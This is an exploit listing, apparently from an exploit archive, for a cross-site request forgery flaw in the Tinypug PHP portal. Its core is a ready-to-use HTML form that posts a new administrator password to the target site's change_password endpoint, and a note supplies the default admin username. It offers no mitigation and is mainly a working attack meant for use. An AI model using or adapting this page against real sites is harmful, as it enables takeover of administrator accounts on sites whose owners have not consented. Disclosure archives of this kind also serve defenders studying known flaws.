Tinypug CSRF Password Change

🗓️ 23 Feb 2010 00:00:00Reported by ViRuSMaNType

zdt🔗 0day.today👁 33 Views

Tinypug CSRF Password Change Exploit for Admi

============================
Tinypug CSRF Password Change
============================

==============================================================================
        [Â»] ~ Note : [ Default Username Of Admin : Administrator ]
==============================================================================
        [Â»] Tinypug Remote Change Password Exploit
==============================================================================
 
    [Â»] Script:             [ Tinypug ]
    [Â»] Language:           [ PHP ]
    [Â»] Site page:          [ Tinypug is a system for building portals that enable innovation communities and customer inquiry. ]
    [Â»] Download:           [ http://code.google.com/p/tinypug/ ]

###########################################################################
 
===[ Exploit ]===
 
<html>
<head>
<title>Tinypug Remote Change Admin Password Exploit [By:MvM]</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<form action="http://[site]/profiles/change_password" method="post" id="the_form">
<div class='frmrow'>
<label for="password">New Password: </label>
<input type="password" name="password" value=""  />    </div>
<div class='frmrow'>
<label for="password2">Enter Again To Confirm: </label>
<input type="password" name="password2" value=""  />    </div>
<div class='frmsubmit'>
<input type="submit" name="submit" value="Change Password"  /></div>
</form>
</body>
</html>
 
Author: ViRuSMaN <-
 
###########################################################################



#  0day.today [2018-03-13]  #

23 Feb 2010 00:00Current

7.1High risk

Vulners AI Score7.1